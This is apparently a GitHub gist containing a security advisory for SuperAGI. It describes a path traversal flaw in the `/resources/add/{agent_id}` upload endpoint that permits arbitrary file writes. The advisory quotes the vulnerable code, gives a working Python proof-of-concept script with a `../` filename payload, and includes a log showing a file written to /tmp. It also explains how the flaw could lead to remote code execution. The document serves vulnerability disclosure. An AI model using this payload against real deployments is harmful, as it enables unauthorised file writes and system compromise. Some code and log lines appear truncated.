YLChen-007 / **ISSUE-Github-REPORT-PathTraversal.md** Secret

Created last month

Code Revisions 1

Arbitrary File Write via Path Traversal in Resource Upload Endpoint

ISSUE-Github-REPORT-PathTraversal.md

Advisory Details

Title: Arbitrary File Write via Path Traversal in Resource Upload Endpoint

Description:

Summary

An arbitrary file write vulnerability exists in the resource upload endpoint (`/resources/add/{agent_id}`) of SuperAGI. The application fails to sanitize the `filename` extracted from the HTTP multipart request before joining it with the base storage directory. This allows an external attacker to traverse directories and write arbitrary files anywhere on the backend server's filesystem, potentially leading to Remote Code Execution (RCE) or complete system compromise. In the default development environment, this endpoint lacks authentication enforcement, making the vulnerability exploitable by unauthenticated attackers.

Details

The vulnerability is located in the `upload` function within `superagi/controllers/resources.py`. The application performs an extension check against the `name` field of the incoming multipart form data, but writes the file to disk using the unsanitized `filename` attribute of the uploaded file part.

```
# superagi/controllers/resources.py
    # ...
    # Extension check uses the 'name' field
    accepted_file_types = (".pdf", ".docx", ".pptx", ".csv", ".txt", ".epub")
```

```
    if not name.endswith(accepted_file_types):
        raise HTTPException(status_code=400, detail="File type not supported!
    # ...
    # Path construction uses the unsanitized 'file.filename' attribute
    file_path = os.path.join(save_directory, file.filename)
    if storage_type == StorageType.FILE:
        os.makedirs(save_directory, exist_ok=True)
        with open(file_path, "wb") as f:
            contents = await file.read()
            f.write(contents)
```

Because `file.filename` is entirely user-controlled and not sanitized using defensive functions (e.g., `werkzeug.utils.secure_filename` or boundary validation using `os.path.abspath`), directory traversal sequences (e.g., `../../`) are preserved. This permits writing the uploaded content to an arbitrary location on disk with the privileges of the running application.

PoC

The following Proof of Concept demonstrates writing a file to the `/tmp` directory.

1. Ensure the SuperAGI backend is running.
2. Save the following script as `poc.py`.

```
import requests

def exploit():
    target_url = "http://127.0.0.1:8001/resources/add/1"

    # Path traversal payload in filename
    filename_payload = "../../../../../../../../../../tmp/pwned_traversal.txt
    file_content = b"VULNERABLE_PATH_TRAVERSAL"

    # Legit extension in the 'name' field to bypass the extension check
    form_data = {
        "name": "legit_name.txt",
        "size": "10",
        "type": "text/plain"
    }

    files = {
        "file": (filename_payload, file_content, "text/plain")
    }

    print(f"[*] Sending payload to {target_url}")
    req = requests.post(target_url, data=form_data, files=files)
```

```
    print(f"[*] Response status: {req.status_code}")
    print(f"[*] Response body: {req.text}")

if __name__ == "__main__":
    exploit()
```

3. Run the script: `python3 poc.py`.
4. Verify the file was created on the backend container: `docker exec -it superagi-huntr-backend-1 cat /tmp/pwned_traversal.txt`.

Log of Evidence

```
[*] Sending payload to http://172.26.0.2:8001/resources/add/1
[*] Response status: 201
[*] Response body:
{"name":"legit_name.txt","path":"/app/workspace/input/PoC-
RCE_1/../../../../../../../../../../tmp/pwned_traversal.txt","type":"text/pla
03-
06T03:34:13.450535","storage_type":"FILE","summary":null,"agent_id":1,"size":
03-06T03:34:13.450539"}

# docker exec -i superagi-huntr-backend-1 cat /tmp/pwned_traversal.txt
VULNERABLE_PATH_TRAVERSAL
```

Impact

This is an Arbitrary File Write vulnerability caused by Path Traversal. An attacker can overwrite critical system files, application source code, or configuration files, leading to a complete system compromise or Denial of Service (DoS). By overwriting executable files, python libraries, or cron jobs, the attacker can achieve Remote Code Execution (RCE) on the backend server. The vulnerability can be triggered externally via the API.

Affected products

- **Ecosystem**: python
- **Package name**: SuperAGI
- **Affected versions**: <= 0.0.1 (Latest)
- **Patched versions**: None known

Severity

- **Severity**: Critical

- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Weaknesses

- **CWE**: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Occurrences

Permalink	Description
`superagi/controllers/resources.py#L71-L77`	The vulnerable `upload` endpoint that constructs `file_path` using the user-controlled `file.filename` attribute and writes to the filesystem without proper path validation.